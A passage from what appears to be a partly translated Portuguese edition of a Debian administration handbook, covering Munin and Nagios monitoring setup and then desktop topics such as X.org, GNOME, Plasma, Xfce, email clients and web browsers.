– os parâmetros de inicialização são ajustados a fim de habilitar o preseeding. Pergun-

tas com relação a idioma e país podem ser evitadas se a informação requerida está
armazenada nas variáveis language e country.

• o debian-cd então gera a imagem ISO final.

Gerando uma imagem ISO

Uma vez que nós tenhamos escrito um arquivo de configuração e definido nossos perfis, a etapa
restante é invocar build-simple-cdd --conf simple-cdd.conf. Após alguns minutos, nós
teremos a imagem requerida em images/debian-8.0-amd64-CD-1.iso.
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12.4. Monitoramento

O monitoramento é um termo genérico e as várias atividades envolvidas tem vários objetivos:
por um lado, seguir o uso dos recursos fornecidos pela máquina permite antecipar a saturação
e os subsequentes necessidades de upgrades; por outro lado, alertar o administrador assim que
um serviço fica indisponível ou não está funcionando de maneira apropriada significa que os
problemas que estão acontecendo podem ser consertados mais rapidamente.
O Munin cobre a primeira área, exibindo gráficos de valores históricos de inúmeros parâme-
tros (RAM usada, espaço de disco ocupado, carga do processador, tráfego de rede,carga do Apa-
che/MySQL, e assim por diante). O Nagios cobre a segunda área,regularmente checando que os
serviços estão funcionando e disponíveis, e enviando alertas através dos canais apropriados (e-
mails, mensagens de texto e assim por diante). Os dois tem um designmodular, o que torna fácil
criar novas extensões para monitorar parâmetros específicos ou serviços.

ALTERNATIVA

Zabbix, uma ferramenta
de monitoramento

integrada

Embora o Munin e o Nagios sejam os mais populares, eles não são as únicas opções
no campo de monitoramento, e cada um deles apenas lida com metade da tarefa
(um com gráficos, outro com alertas). O Zabbix, por outro lado, integra ambas
as partes de monitoramento; ele também tem uma interface web para configurar
a maioria dos aspectos comuns. Ele cresceu aos trancos e barrancos durante os
últimos anos, e pode agora ser considerado um concorrente viável. No servidor de
monitoramento, você instalaria o zabbix-server-pgsql (ou zabbix-server-mysql),
possivelmente junto com o zabbix-frontend-php para ter uma interface web. Nas
máquinas a serem monitoradas você instalaria o zabbix-agent, para alimentar o
servidor com os dados.

è http://www.zabbix.com/

ALTERNATIVA

Icinga, uma ramificação
do Nagios

Estimulados por divergências nas opiniões que se referem ao modelo de desenvolvi-
mento do Nagios (que é controlado por uma companhia), alguns desenvolvedores
fizeram um ”fork” do Nagios e usaram Icinga como seu novo nome. O Icinga ainda
é compatível — até agora — com as configurações e extensões do Nagios, porém ele
também adiciona funcionalidades extras.

è http://www.icinga.org/

12.4.1. Configurando o Munin

O propósito do Munin é monitorar muitas máquinas; logo, é bem natural que ele use uma ar-
quitetura cliente/servidor. A máquina (”host”) central — que faz o gráfico (”grapher”) — coleta
dados de todas as máquinas (”hosts”) monitoradas, e gera gráficos com os históricos.

Configurando As Máquinas A Serem Monitoradas

O primeiro passo é instalar o pacotemunin-node. O serviço (”daemon”) instalado por esse pacote
escuta na porta 4949 e envia de volta os dados coletados por todas as extensões ativas. Cada
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extensão é um programa simples que retorna um descrição dos dados coletados, assim como
o último valor medido. As extensões são armazenadas em /usr/share/munin/plugins/, mas
apenas aquelas com uma ligação simbólica em /etc/munin/plugins/ são realmente usadas.
Quando o pacote é instalado, um conjunto de extensões ativas é determinado com base nos
softwares disponíveis e na configuração atual da máquina. Contudo, essa auto configuração
depende da funcionalidade que cada extensão deve fornecer, e geralmente é uma boa ideia re-
ver e ajustar os resultados manualmente. Navegar pela Plugin Gallery (galeria de extensões)2
pode ser interessante mesmo que nem todas as extensões tenham uma documentação compre-
ensível. Entretanto, todas as extensões são scripts e a maioria é bem simples e bem comen-
tado. Navegar por /etc/munin/plugins/ é portanto uma boamaneira de se ter uma ideia sobre
para que cada extensão serve e determinar quais devem ser removidas. Similarmente, habilitar
uma extensão interessante encontrada em /usr/share/munin/plugins/ é uma simples ques-
tão de configurar uma ligação simbólica com ln -sf /usr/share/munin/plugins/extensão
/etc/munin/plugins/. Note que quando o nome de uma extensão termina com um sublinhado
“_”, a extensão precisa de um parâmetro. Esse parâmetro tem que ser armazenado no nome
da ligação simbólica; por exemplo, a extensão “if_” tem que ser habilitada como uma ligação
simbólica if_eth0 para monitorar o tráfego de rede na interface eth0.
Uma vez que todas as extensões estejam configuradas corretamente, a configuração do serviço
(”daemon”) tem que ser atualizada para descrever o controle de acesso aos dados coletados.
Isso envolve a diretiva allow no arquivo /etc/munin/munin-node.conf. A configuração padão
é allow ^127\.0\.0\.1$, e apenas permite acesso a máquina local. Um administrador geralmente
irá adicionar uma linha similar contendo o endereço IP damáquina que gera o gráfico (”grapher
host”), e então reiniciar o serviço com service munin-node restart.

APROFUNDANDO

Criando extensões locais
O Munin inclui documentação detalhada sobre como as extensões devem se com-
portar e como desenvolver novas extensões.

è http://munin-monitoring.org/wiki/plugins

Uma extensão émelhor testada quando executada nasmesmas condições encontra-
das quando iniciada pelo munin-node; isso pode ser simulado rodando munin-run
extensão como root. Um segundo parâmetro potecial dado a esse comando (tal
como config) é passado para a extensão como um parâmetro.

Quando uma extensão é invocada com o parâmetro config, ela tem que descrever
a si própria pelo retorno de um conjunto de campos:

$ sudo munin-run load config
graph_title Load average
graph_args --base 1000 -l 0
graph_vlabel load
graph_scale no
graph_category system
load.label load
graph_info The load average of the machine describes how

å many processes are in the run-queue (scheduled to run
å ”immediately”).

2http://gallery.munin-monitoring.org
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load.info 5 minute load average

Os vários campos disponíveis são descritos pela Referência das Extensões (“Plugin
reference”) disponível como parte do Guia do Munin (“Munin guide”).

è http://munin.readthedocs.org/en/latest/reference/plugin.html

Quando invocada sem um parâmetro, a extensão apenas retorna os últimos va-
lores medidos; por exemplo, executando sudo munin-run load poderia retornar
load.value 0.12.

Finalmente, quando uma extensão é invocada com parâmetro autoconf, ela deve-
ria retornar “yes” (e um status de término 0) ou “no” (com um status de término 1)
de acordo sobre se a extensão deve ser habilitada nesta máquina (”host”).

Configurando a Máquina que faz o Gráfico (”Grapher”)

O “grapher” é simplesmente o computador que agrega os dados e gera os gráficos correspon-
dentes. O software necessário está no pacote munin. A configuração padrão roda o munin-cron
(uma vez a cada 5 minutos), que reune dados de todas as máquinas (”hosts”) listados em
/etc/munin/munin.conf (apenas a máquina (”host”) local é listada por padrão), salva os da-
dos históricos em arquivos RRD (Round Robin Database, um arquivo com formato desenvolvido
par armazenar dados que variam com o tempo) armazenados em /var/lib/munin/ e gera uma
página HTML com os gráficos em /var/cache/munin/www/.
Portanto todas as máquinas monitoradas tem que estar listadas no arquivo de configuração
/etc/munin/munin.conf. Cada máquina é listada como uma seção completa, com um nome
correspondendo com a máquina e pelo menos uma entrada com endereço dando o endereço IP
correspondente.
[ftp.falcot.com]

address 192.168.0.12
use_node_name yes

Seções podem ser mais complexas, e descrever gráficos extras que poderiam ser criados pela
combinação de dados vindos de várias máquinas. Os exemplos fornecidos no arquivo de confi-
guração são um bom ponto de partida para customizações.
O último passo é publicar as páginas geradas; isso envolve a configuração de um servidor web
para que o conteúdo de /var/cache/munin/www/ seja disponibilizado em um site web. O acesso
a esse site web geralmente será restrito, pelo uso de um mecanismo de autenticação ou con-
trole de acesso baseado em IP. Veja Seção 11.2, “Servidor web (HTTP)” [283] para os detalhes
relevantes.

12.4.2. Configurando o Nagios

Diferentemente do Munin, o Nagios não necessariamente requer a instalação de alguma coisa
nas máquinas (””hosts”) monitoradas; na maioria das vezes, o Nagios é usado para conferir a
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disponibilidade de serviços de rede. Por exemplo, o Nagios pode se conectar em um servidor
web e conferir que determinada página web pode ser obtida dentro de um determinado tempo.

Instalando

O primeiro passo na configuração do Nagios é a instalação dos pacotes nagios3, nagios-plugins
e nagios3-doc. Instalando esses pacotes é configurada a interface web e criado o primeiro
usuário, nagiosadmin (para o qual é perguntado uma senha). Adicionar outros usuários é
uma simples questão de inseri-los no arquivo /etc/nagios3/htpasswd.users com o comando
do Apache htpasswd. Se nenhuma pergunta do Debconf foi exibida durante a instalação,
dpkg-reconfigure nagios3-cgi pode ser usado para definir a senha do nagiosadmin.
Apontar o navegador para http://servidor/nagios3/ exibe a interface web; em particular, note
que o Nagios já monitora alguns parâmetros da máquina aonde ele roda. Contudo, algumas fun-
cionalidades interativas, tais como adicionar comentários a umamáquina (”host”) não funciona.
Esses recursos estão desabilitados pela configuração padrão doNagios, que émuito restritiva por
razões de segurança.
Como ducomentado em /usr/share/doc/nagios3/README.Debian, habilitar alguns
recursos envolve a editar o /etc/nagios3/nagios.cfg e configurar o parâmetro
check_external_commands para “1”. Nós tambéms precisamos configurar permissões de
escrita para o diretório usado pelo Nagios, através de comandos como os seguintes:
# service nagios3 stop
[...]
# dpkg-statoverride --update --add nagios www-data 2710 /var/lib/nagios3/rw
# dpkg-statoverride --update --add nagios nagios 751 /var/lib/nagios3
# service nagios3 start
[...]

Configurando

A interface web do Nagios é bem legal, mas elas não permite configurações, nem pode ser usada
para adicionar máquinas (”hosts”) monitorados e serviços. Toda a configuração é gerenciada
através de arquivos referenciados pelo arquivo de configuração central, /etc/nagios3/nagios.
cfg.
Não se deve mergulhar nesses arquivos sem algum entendimento dos conceitos do Nagios. A
configuração lista objetos dos seguintes tipos:

• um host é a máquina a ser monitorada;
• um hostgroup é um conjunto demáquinas que devem ser agrupadas para exibição, ou para
fatorar alguns elementos comuns de configuração;

• Um service é um elemento testável relacionado a umamáquina ou um grupo de máquinas.
Ele irá, muito frequentemente, ser uma checagem para um serviço de rede, mas ele tam-
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bémenvolve a checagemde que alguns parâmetros estão dentro de um intervalo aceitável
(por exemplo, espaço livre em disco ou carga do processador);

• um servicegroup é um conjunto de serviços que devem ser agrupados para exibição;
• um contact é uma pessoa que pode receber alertas;
• um contactgroup é um grupo de tais pessoas;
• um timeperiod é um intervalo de tempo durante o qual alguns serviços tem que ser checa-
dos;

• um command é a linha de comando invocada para checar um dado serviço.

De acordo com seu tipo, cada objeto tem um número de propriedades que podem ser customi-
zadas. Um lista completa seria muito longa para ser incluída, mas as propriedades mais impor-
tantes são as relações entre os objetos.
Um service (serviço) usa um command (commando) para checar o estado de uma funcionalidade
em um host (máquina) (ou um hostgroup) dentro de um timeperiod (intervalo de tempo). Em caso
de um problema, o Nagios envia um alerta para todos os membros de contactgroup (grupo de
contatos) ligados ao serviço. É enviado um alerta a cadamembro de acordo com o canal descrito
no objeto contact (contato) correspondente.
Um sistema de herança permite o fácil compartilhamento de um conjunto de propriedades por
entre muitos objetos sem a duplicação de informação. Além disso, a configuração inicial inclui
um número de objetos padrão; em muitos casos, a definição de novas máquinas, serviços e con-
tatos é uma simples questão de derivação a partir dos objetos genéricos fornecidos. Os arquivos
em /etc/nagios3/conf.d/ são uma boa fonte de informação sobre como eles funcionam.
Os administradores da Falcot Corp usam a seguinte configuração:

Exemplo 12.3 arquivo /etc/nagios3/conf.d/falcot.cfg

define contact{
name generic-contact
service_notification_period 24x7
host_notification_period 24x7
service_notification_options w,u,c,r
host_notification_options d,u,r
service_notification_commands notify-service-by-email
host_notification_commands notify-host-by-email
register 0 ; Template only

}
define contact{

use generic-contact
contact_name rhertzog
alias Raphael Hertzog
email hertzog@debian.org

}
define contact{
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use generic-contact
contact_name rmas
alias Roland Mas
email lolando@debian.org

}

define contactgroup{
contactgroup_name falcot-admins
alias Falcot Administrators
members rhertzog,rmas

}

define host{
use generic-host ; Name of host template to use
host_name www-host
alias www.falcot.com
address 192.168.0.5
contact_groups falcot-admins
hostgroups debian-servers,ssh-servers

}
define host{

use generic-host ; Name of host template to use
host_name ftp-host
alias ftp.falcot.com
address 192.168.0.6
contact_groups falcot-admins
hostgroups debian-servers,ssh-servers

}

# ’check_ftp’ command with custom parameters
define command{

command_name check_ftp2
command_line /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c

å 30 -t 35
}

# Generic Falcot service
define service{

name falcot-service
use generic-service
contact_groups falcot-admins
register 0

}

# Services to check on www-host
define service{

use falcot-service
host_name www-host
service_description HTTP
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check_command check_http
}
define service{

use falcot-service
host_name www-host
service_description HTTPS
check_command check_https

}
define service{

use falcot-service
host_name www-host
service_description SMTP
check_command check_smtp

}

# Services to check on ftp-host
define service{

use falcot-service
host_name ftp-host
service_description FTP
check_command check_ftp2

}

Ess arquivo de configuração descreve duas máquinas monitoradas. A primeira é o servidor
web, e a checagem é feita nas portas HTTP (80) e HTTP-seguro (443). O Nagios também checa
se um servidor SMTP está rodando na porta 25. A segunda máquina é um servidor FTP, e
a checagem inclui garantir que uma resposta venha em 20 segundos. Além desse intervalo,
um warning é emitido; além de 30 segundos, o alerta é considerado crítico. A interface web
do Nagios também mostra que um serviço SSH é monitorado: isso vem de máquinas perten-
centes ao grupo de máquinas ssh-servers. O serviço padrão correspondente é definido em
/etc/nagios3/conf.d/services_nagios2.cfg.
Note o uso da herança: um objeto é feito para herdar de outro objeto através de “use parent-
name”. O obejto pai tem que ser identificável, o que requer dar a ele uma prorpiedade “name
identifier”. Se o objeto pai não se destina a ser um objeto real, mas apenas servir como um pai,
dar-lhe uma propriedade “register 0” informa ao Nagios para não considerá-lo, e assim ignorar
a falta de alguns parâmetros que de outra forma seriam necessários.

DOCUMENTAÇÃO

Lista de propriedades do
objeto

Uma compreensão mais profunda das várias maneiras pelas quais o Nagios pode
ser configurado pode ser obtida a partir da documentação fornecida pelo pacote
nagios3-doc. Essa documentação é diretamente acessível pela interface web, com
o link “Documentation” no topo do canto esquerdo. ela inclui uma lista de todos
dos tipos de objetos, com todas as propriedades que eles podem ter. ela também
explica como criar novas extensões.
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INDO ALÉM

Testes remotos com NRPE
Muitas extensões Nagios permitem conferir alguns parâmetros locais de uma má-
quina (”host”); se muitas máquinas precisam dessas conferências enquanto uma
instalação central as reune, a extensãoNRPE (Nagios Remote Plugin Executor) pre-
cisa ser implantada. O pacote nagios-nrpe-plugin precisa ser instalado no servidor
Nagios, e o nagios-nrpe-server nas máquinas (”hosts”) aonde os testes locais pre-
cisam ser rodados. Esse último pega sua configuração de /etc/nagios/nrpe.cfg.
Esse arquivo deve listar os testes que podem ser iniciados remotamente, e os en-
dereços IP das máquinas que tem permissão para iniciá-los. Pelo lado do Nagios,
habilitar esses testes remotos é uma simples questão de adicionar os serviços cor-
respondentes usando o novo comando check_nrpe.
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Agora que a publicação do servidor foi feita, os administradores podem se concentrar em instalar as
estações individuais e criar uma configuração típica.



13.1. Configurando o servidor X11

A configuração inicial para a interface gráfica pode ser estranha às vezes; placas de vídeo recen-
tes por vezes não funcionam perfeitamente na versão do X.org que vem com a versão stável do
Debian.
A brief reminder: X.org is the software component that allows graphical applications to display
windows on screen. It includes a driver that makes efficient use of the video card. The features
offered to the graphical applications are exported through a standard interface, X11 (Stretch
contains version X11R7.7).

PERSPECTIVA

X11, XFree86 e X.org
X11 is the graphical system most widely used on Unix-like systems (also availa-
ble for Windows and Mac OS). Strictly speaking, the term “X11” only refers to a
protocol specification, but it is also used to refer to the implementation in practice.

X11 had a rough start, but the 1990s saw XFree86 emerge as the reference imple-
mentation because it was free software, portable, andmaintained by a collaborative
community. However, the rate of evolution slowed down near the end when the
software only gained new drivers. That situation, along with a very controversial
license change, led to the X.org fork in 2004. This is now the reference implemen-
tation, and Debian Stretch uses X.org version 7.7.

Current versions of X.org are able to autodetect the available hardware: this applies to the video
card and themonitor, as well as keyboards andmice; in fact, it is so convenient that the package
no longer even creates a /etc/X11/xorg.conf configuration file.
A configuração do teclado é atualmente feita em /etc/default/keyboard. Esse arquivo é usado
tanto para configurar o modo texto quanto a interface gráfica, e ele é manipulado pelo pa-
cote keyboard-configuration. Detalhes sobre a configuração do desenho do teclado estão em Se-
ção 8.1.2, “Configurando o Teclado” [153].
O pacote xserver-xorg-coreprovê um servidor X genérico, comoousado pelas versões 7.x doX.org.
Esse servidor é modular e usa um conjunto de drivers independentes para manipular diferentes
tipos de placas de vídeo. Instalando o xserver-xorg garante que o servidor e pelomenos umdriver
de vídeo estejam instalados.
Note that if the detected video card is not handled by any of the available drivers, X.org tries
using the VESA and fbdev drivers. VESA is a generic driver that should work everywhere, but
with limited capabilities (fewer available resolutions, no hardware acceleration for games and
visual effects for the desktop, and so on)while fbdevworks on top of the kernel’s framebuffer de-
vice. Nowadays theX server runswithout any administrative privileges (this used to be required
to be able to configure the screen) and thus its log file is now stored in the user’s home directory
in ~/.local/share/xorg/Xorg.0.log (whereas it used to be in /var/log/Xorg.0.log for ver-
sions older than Stretch). That log file is where one would look to know what driver is currently
in use. For example, the following snippet matches what the intel driver outputs when it is
loaded:
(==) Matched intel as autoconfigured driver 0
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(==) Matched modesetting as autoconfigured driver 1
(==) Matched vesa as autoconfigured driver 2
(==) Matched fbdev as autoconfigured driver 3
(==) Assigned the driver to the xf86ConfigLayout
(II) LoadModule: ”intel”
(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

drivers proprietários
EXTRA

Alguns fabricantes de placas de vídeo (em especial a nVidia) se recusam a publicar
as especificações de hardware que serão necessárias para implementar drivers li-
vres bons. Entretanto, eles fornecem drivers proprietários que permitem usar seus
equipamentos. Esta política é maligna, por que mesmo que o driver exista, ele não
é tão bem-cuidado quanto deveria; e mais, ele não necessariamente segue as atua-
lizações do X.org, o que impede que as últimas atualizações disponíveis de drivers
funcionem corretamente. Não podemos apoiar este comportamento, e recomenda-
mos que se evite estes fabricantes, escolhendos outros mais colaborativos.

If you still end up with such a card, you will find the required packages in the non-
free section: nvidia-driver for nVidia cards. It requires a matching kernel module.
Building the module can be automated by installing the package nvidia-kernel-
dkms (for nVidia).

The “nouveau” project aims to develop a free software driver for nVidia cards and
is the default driver that you get for nVidia cards in Debian. As of Stretch, its
feature set and performance do not match the proprietary driver. In the developers’
defense, we should mention that the required information can only be gathered by
reverse engineering, which makes things difficult. The free driver for ATI video
cards, called “radeon”, is much better in that regard although it often requires non-
free firmware.

13.2. Customizando a Interface Gráfica

13.2.1. Escolhendo um Gerenciador de Exibição

The graphical interface only provides display space. Running the X server by itself only leads
to an empty screen, which is why most installations use a display manager to display a user
authentication screen and start the graphical desktop once the user has authenticated. The
three most popular display managers in current use are gdm3 (GNOME Display Manager), sddm
(suggested for KDE Plasma) and lightdm (Light Display Manager). Since the Falcot Corp adminis-
trators have opted to use the GNOME desktop environment, they logically picked gdm3 as a dis-
play manager too. The /etc/gdm3/daemon.conf configuration file has many options (the list
can be found in the /usr/share/gdm/gdm.schemas schema file) to control its behaviour while
/etc/gdm3/greeter.dconf-defaults contains settings for the greeter “session” (more than
just a login window, it is a limited desktop with power management and accessibility related
tools). Note that some of the most useful settings for end-users can be tweaked with GNOME’s
control center.
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13.2.2. Escolhendo um Gerenciador de Janelas

Since each graphical desktop provides its own window manager, which window manager you
choose is usually influenced by which desktop you have selected. GNOME uses the mutter win-
dow manager, Plasma uses kwin, and Xfce (which we present later) has xfwm. The Unix philo-
sophy always allows using one’swindowmanager of choice, but following the recommendations
allows an administrator to best take advantage of the integration efforts led by each project.

DE VOLTA AO BÁSICO

Gerenciador de janelas
The window manager displays the “decorations” around the windows belonging
to the currently running applications, which includes frames and the title bar. It
also allows reducing, restoring, maximizing, and hiding windows. Most window
managers also provide amenu that pops upwhen the desktop is clicked in a specific
way. Thismenu provides themeans to close thewindowmanager session, start new
applications, and in some cases, change to another window manager (if installed).

Older computers may, however, have a hard time running heavyweight graphical desktop en-
vironments. In these cases, a lighter configuration should be used. “Light” (or small footprint)
window managers include WindowMaker (in the wmaker package), Afterstep, fvwm, icewm,
blackbox, fluxbox, or openbox. In these cases, the systemshould be configured so that the appro-
priate windowmanager gets precedence; the standard way is to change the x-window-manager
alternative with the command update-alternatives --config x-window-manager.

ESPECIFIDADES DO DEBIAN

Alternativas
A política Debian enumera uma série de comandos padronizados capazes de exe-
cutar uma ação específica. Por exemplo, o x-window-manager chama um Gerenci-
ador de janelas. Mas o Debian não atribui este comando para um Gerenciador de
janela fixa. O administrador pode escolher qual Gerenciador ele deve invocar.

Para cada gerenciador de janelas, o pacote relevante, portanto, registra o comando
apropriado como uma escolha possível para x-window-manager junto com a prio-
ridade associada. Exceto uma configuração explícita feita pelo administrador, essa
prioridade permite pegar o melhor gerenciador de janelas instalado quando o co-
mando genérico é rodado.

Tanto o registro de comandos quanto a explícita configuração envolvem o
script update-alternatives. Escolher para onde aponta o comando sim-
bólico é uma simples questão de rodar o update-alternatives --config
comando-simbólico. O script update-alternatives cria (e mantém) ligações
simbólicas no diretório /etc/alternatives/, que por sua vez referencia a locali-
zação do executável. Com o passar do tempo, os pacotes são instalados ou remo-
vidos, e/ou o administrador faz alterações explícitas na configuração. Quando um
pacote provendo uma alternativa é removido, a alternativa vai automaticamente
para a próxima melhor escolha entre os comandos possíveis restantes.

Nem todos os comandos simbólicos são explicitamente listados pela política De-
bian; alguns mantenedores de pacotes Debian deliberadamente escolhem usar esse
mecanismo em casos menos simples aonde ainda traz flexibilidade interessante
(exemplos incluem x-www-browser, www-browser, cc, c++, awk, e assim por di-
ante).
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13.2.3. Gerenciamento de Menu

Modern desktop environments andmanywindowmanagers providemenus listing the available
applications for the user. In order to keep menus up-to-date in relation to the actual set of avai-
lable applications, each package usually provides a .desktop file in /usr/share/applications.
The format of those files has been standardized by FreeDesktop.org:
è https://standards.freedesktop.org/desktop-entry-spec/latest/

The applicationsmenus can be further customized by administrators through system-wide con-
figuration files as described by the “DesktopMenu Specification”. End-users can also customize
the menus with graphical tools such as kmenuedit (in Plasma), alacarte (in GNOME) or menulibre.
è https://standards.freedesktop.org/menu-spec/latest/

HISTÓRIA

O systema de menu do
Debian

Tempos atrás — bem antes dos padrões da FreeDesktop.org terem emergido — o
Debian inventou seu próprio sistema de menu onde cada pacote fornecia uma des-
crição genérica das entradas do menu pretendido em /usr/share/menu/. Essa
ferramentaainda está disponível no Debian (no pacote menu) mas é apenas um
recurso pouco útil já que os mantenedores são encorajados a optar pelos arquivos
.desktop em seu lugar.

13.3. Ambientes Gráficos

The free graphical desktop field is dominated by two large software collections: GNOME and
Plasma by KDE. Both of them are very popular. This is rather a rare instance in the free software
world; the Apache web server, for instance, has very few peers.
This diversity is rooted in history. Plasma (initially only KDE, which is now the name of the
community) was the first graphical desktop project, but it chose the Qt graphical toolkit and
that choice wasn’t acceptable for a large number of developers. Qt was not free software at the
time, and GNOMEwas started based on the GTK+ toolkit. Qt has since become free software, but
the projects still evolved in parallel.
The GNOME and KDE communities still work together: under the FreeDesktop.org umbrella, the
projects collaborated in defining standards for interoperability across applications.
Escolher “o melhor” ambiente de trabalho gráfico é uma questão sensível, que nós preferimos
apenas orientar. Nós iremos apenas descrever as muitas possibilidades e dar algumas opiniões
para desencadear pensamentos. A melhor escolha irá ser a que você fizer após algumas experi-
mentações.

13.3.1. GNOME

Debian Stretch includes GNOME version 3.22, which can be installed by a simple apt install
gnome (it can also be installed by selecting the “Debian desktop environment” task).
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GNOME is noteworthy for its efforts in usability and accessibility. Design professionals have
been involved in writing its standards and recommendations, which has helped developers to
create satisfying graphical user interfaces. The project also gets encouragement from the big
players of computing, such as Intel, IBM, Oracle, Novell, and of course, various Linux distributi-
ons. Finally, many programming languages can be used in developing applications interfacing
to GNOME.

Figura 13.1 O ambiente GNOME

For administrators, GNOME seems to be better prepared for massive deployments. Application
configuration is handled through the GSettings interface and stores its data in the DConf data-
base. The configuration settings can thus be queried and edited with the gsettings, and dconf
command-line tools, or by the dconf-editor graphical user interfaces. The administrator can
therefore change users’ configuration with a simple script. The GNOME website provides infor-
mation to guide administrators who manage GNOME workstations:
è https://help.gnome.org/admin/

13.3.2. KDE and Plasma

Debian Stretch includes version 5.8 of KDE Plasma, which can be installed with apt install
kde-standard.
Plasma has had a rapid evolution based on a very hands-on approach. Its authors quickly got
very good results, which allowed them to grow a large user-base. These factors contributed
to the overall project quality. Plasma is a mature desktop environment with a wide range of
applications.
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Figura 13.2 The Plasma desktop

Since the Qt 4.0 release, the last remaining license problem with KDE software has been solved.
This version was released under the GPL both for Linux andWindows (theWindows version was
previously released under a non-free license). KDE applications are primarily developed using
the C++ language.

13.3.3. Xfce e Outros

Xfce is a simple and lightweight graphical desktop, which is a perfect match for computers with
limited resources. It can be installed with apt install xfce4. Like GNOME, Xfce is based on
the GTK+ toolkit, and several components are common across both desktops.
Unlike GNOME and Plasma, Xfce does not aim to become a vast project. Beyond the basic com-
ponents of a modern desktop (file manager, window manager, session manager, a panel for
application launchers and so on), it only provides a few specific applications: a terminal, a ca-
lendar (Orage), an image viewer, a CD/DVD burning tool, a media player (Parole), sound volume
control and a text editor (mousepad).
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Figura 13.3 O ambiente Xfce

Another desktop environment provided in Stretch is LXDE, which focuses on the “lightweight”
aspect. It can be installed with the lxde meta-package.

13.4. Email

13.4.1. Evolution

COMUNIDADE

Pacotes populares
Installing the popularity-contest package enables participation in an automated
survey that informs the Debian project about the most popular packages. A script
is run weekly by cron which sends (by HTTP or email) an anonymized list of the
installed packages and the latest access date for the files they contain. This allows
the Debian maintainers to knowwhich packages are most frequently installed, and
of these, how frequently they are actually used.

Essa informação é uma grande ajuda ao projeto Debian. Ela é usada para deter-
minar quais pacotes devem estar nos primeiros discos de instalação. Dados de
instalação também são um fator importante usado para decidir quando remover
um pacote com muito poucos usuários na distribuição. Nós cordialmente recomen-
damos a instalação do pacote popularity-contest e a participação na pesquisa.

The collected data are made public every day.

è https://popcon.debian.org/

These statistics can also help users to choose between two packages that seem
otherwise equivalent. Choosing the more popular package is probably a safer
choice.
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Evolution is the GNOME email client and can be installed with apt install evolution. Evo-
lution is more than a simple email client: it also provides a calendar, an address book, a task
list, and a memo (free-form note) application. Its email component includes a powerful mes-
sage indexing system, and allows for the creation of virtual folders based on search queries on
all archived messages. In other words, all messages are stored the same way but displayed in a
folder-based organization, each folder containingmessages that match a set of filtering criteria.

Figura 13.4 O programa de e-mail Evolution

An extension to Evolution allows integration with a Microsoft Exchange email system; the re-
quired package is evolution-ews.

13.4.2. KMail

The KDE email software can be installed with apt install kmail. KMail only handles email,
but it belongs to a software suite called KDE-PIM (for Personal Information Manager) that includes
features such as address books, a calendar component, and so on. KMail has all the features one
would expect from an excellent email client.
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Figura 13.5 O programa de e-mail KMail

13.4.3. Thunderbird e Icedove

The thunderbird package provides the email client from the Mozilla software suite. Until Jessie
Debian contained Icedove and not Thunderbird for legal reasons detailed in the sidebar Icewe-
asel, Firefox e outros [384]. You may find references to Icedove as the switch has been done
recently.
Various localization sets are available in thunderbird-l10n-* packages; the enigmail extension han-
dles message encrypting and signing, but it is not available in all languages.
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Figura 13.6 The Thunderbird email software

13.5. Navegadores Web

Epiphany, o navegador web da suíte GNOME, usa omecanismo de exibiçãoWebKit desenvolvido
pela Apple para seu navegador Safari. O pacote relevante é o epiphany-browser.
Konqueror, available in the konqueror package, is KDE’s web browser (but can also assume the
role of a file manager). It uses the KDE-specific KHTML rendering engine; KHTML is an excellent
engine, as witnessed by the fact that Apple’s WebKit is based on KHTML.
Users not satisfied by either of the above can use Firefox. This browser, available in the firefox-
esr package, uses the Mozilla project’s Gecko renderer, with a thin and extensible interface on
top.
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Figura 13.7 The Firefox web browser

VOCABULARY

Firefox ESR
Mozilla has a very fast-paced release cycle for Firefox. New releases are published
every six to eight weeks and only the latest version is supported for security issues.
This doesn’t suit all kind of users so, every 10 cycles, they are promoting one of their
release to an Extended Support Release (ESR) which will get security updates (and
no functional changes) during the next 10 cycles (which covers a bit more than a
year).

Debian has both versions packaged. The ESR one, in the package firefox-esr, is
used by default since it is the only version suitable for Debian Stable with its long
support period (and even there Debian has to upgrade from one ESR release to
the next multiple times during a Debian Stable lifecycle). The regular Firefox is
available in the firefox package but it is only available to users of Debian Unstable.

CULTURA

Iceweasel, Firefox e
outros

Before Debian Stretch, Firefox and Thunderbird were missing. The iceweasel pac-
kage contained Iceweasel, which was basically Firefox under another name.

The rationale behind this renaming was a result of the usage rules imposed by the
Mozilla Foundation on the Firefox™ registered trademark: any software named Fi-
refox had to use the official Firefox logo and icons. However, since these elements
are not released under a free license, Debian could not distribute them in its main
section. Rather than moving the whole browser to non-free, the package maintai-
ner choose to use a different name.

Por questões similares, o cliente de email Thunderbird™ foi renomeado par Icedove
de modo semelhante.

Nowadays, the logo and icons are distributed under a free software license and
Mozilla recognized that the changes made by the Debian project are respecting
their trademark license so Debian is again able to ship Mozilla’s applications under
their official name.
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CULTURA

Mozilla
Netscape Navigator was the standard browser when the web started reaching the
masses, but lost ground when Microsoft bundled Internet Explorer with Windows
and signed contracts with computer manufacturers which forbade them from pre-
installing Netscape Navigator. Faced with this failure, Netscape (the company)
decided to “free” its source code, by releasing it under a free license, to give it a se-
cond life. This was the beginning of the Mozilla project. After many years of deve-
lopment, the results are more than satisfying: the Mozilla project brought forth an
HTML rendering engine (called Gecko) that is among themost standard-compliant.
This rendering engine is in particular used by the Mozilla Firefox browser, which is
one of the most successful browsers, with a fast-growing user base.

Last but not least, Debian also contains the Chromium web browser (available in the chromium
package). This browser is developed by Google at such a fast pace that maintaining a single
version of it across the whole lifespan of Debian Stretch is unlikely to be possible. Its clear pur-
pose is to make web services more attractive, both by optimizing the browser for performance
and by increasing the user’s security. The free code that powers Chromium is also used by its
proprietary version called Google Chrome.

13.6. Desenvolvimento

13.6.1. Ferramentas para GTK+ no GNOME

Anjuta (in the anjuta package) and GNOME Builder (in the gnome-builder package) are Integrated
Development Environments (IDE) optimized for creating GTK+ applications for GNOME. Glade
(in the glade package) is an application designed to create GTK+ graphical interfaces for GNOME
and save them in an XML file. These XML files can then be loaded by the GTK+ shared library
though its GtkBuilder component to recreate the saved interfaces; such a feature can be inte-
resting, for instance for plugins that require dialogs.
è https://wiki.gnome.org/Apps/Builder

è http://anjuta.org/

è https://glade.gnome.org/

13.6.2. Tools for Qt

The equivalent applications for Qt applications are KDevelop by KDE (in the kdevelop package)
for the development environment, and Qt Designer (in the qttools5-dev-tools package) for the
design of graphical interfaces for Qt applications.
KDevelop is also a generic IDE and provides plugins for other languages like Python and PHP
and different build systems.

385Capítulo 13 — Estação de trabalho

https://wiki.gnome.org/Apps/Builder
http://anjuta.org/
